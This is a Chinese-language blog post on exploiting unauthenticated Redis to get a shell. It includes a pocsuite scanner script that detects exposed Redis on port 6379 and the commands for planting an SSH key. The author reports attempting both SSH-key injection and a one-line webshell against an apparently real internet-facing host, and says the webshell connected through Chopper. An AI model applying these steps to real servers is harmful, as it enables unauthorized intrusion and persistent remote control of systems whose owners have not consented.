redis未授权访问getshell

redis未授权访问的问题一年前就爆了，当时刚开始学安全，还不太懂。今天借着工作的机会来搞一把，看看能不能拿下一台服务器。其实前几天就写好了一直想找个实际环境复现一下，一直没有找到，只说下大致思路。

首先redis未授权的漏洞有几个先决条件，自己搭建漏洞环境的话需要在配置文件redis.conf中修改

1、允许其他网段连接

2、关闭protected-mode

漏洞的发现可以批量跑POC，大概原理就是通过sock发带有info的payload给目标服务器，然后看返回的信息中有没有关键字。这里懒得写了，放一个网上找的pocsuite版的：

 #!/usr/bin/env python
 # -*- coding:utf-8 -*-

 import socket
 import urlparse
 from pocsuite.poc import POCBase, Output
 from pocsuite.utils import register

 class TestPOC(POCBase):
     vulID = ''
     version = ''
     author = ['Anonymous']
     vulDate = '2015-10-26'
     createDate = '2015-10-26'
     updateDate = '2015-10-26'
     references = ['http://sebug.net/vuldb/ssvid-89339']
     name = 'Redis 未授权访问 PoC'
     appPowerLink = 'http://redis.io/'
     appName = 'Redis'
     appVersion = 'All'
     vulType = 'Unauthorized access'
     desc = '''
         redis 默认不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。
     '''
     samples = ['']

     def _verify(self):
         result = {}
         payload = '\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
         s = socket.socket()
         socket.setdefaulttimeout(10)
         try:
             host = urlparse.urlparse(self.url).netloc
             port = 6379
             s.connect((host, port))
             s.send(payload)
             recvdata = s.recv(1024)
             if recvdata and 'redis_version' in recvdata:
                 result['VerifyInfo'] = {}
                 result['VerifyInfo']['URL'] = self.url
                 result['VerifyInfo']['Port'] = port
         except:
             pass
         s.close()
         return self.parse_attack(result)

     def _attack(self):
         return self._verify()

     def parse_attack(self, result):
         output = Output(self)
         if result:
             output.success(result)
         else:
             output.fail('Internet nothing returned')
         return output

 register(TestPOC)

实际测试时发现这么一台外网主机存在此问题

下面尝试getshell，通常的方法有如下几种：

1、写公钥

首先在本地生产公私钥文件：

$ssh-keygen –t rsa

然后将公钥写入文件

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > eval.txt

再连接Redis写入文件，这里很不幸，连接后设置redis路径时提示了permission denied，看来不是root权限，这种方法的尝试失败

2、传webshell

用nmap扫出来开放了http80端口，看看是否能够写入一句话

菜刀是可以连接的

-done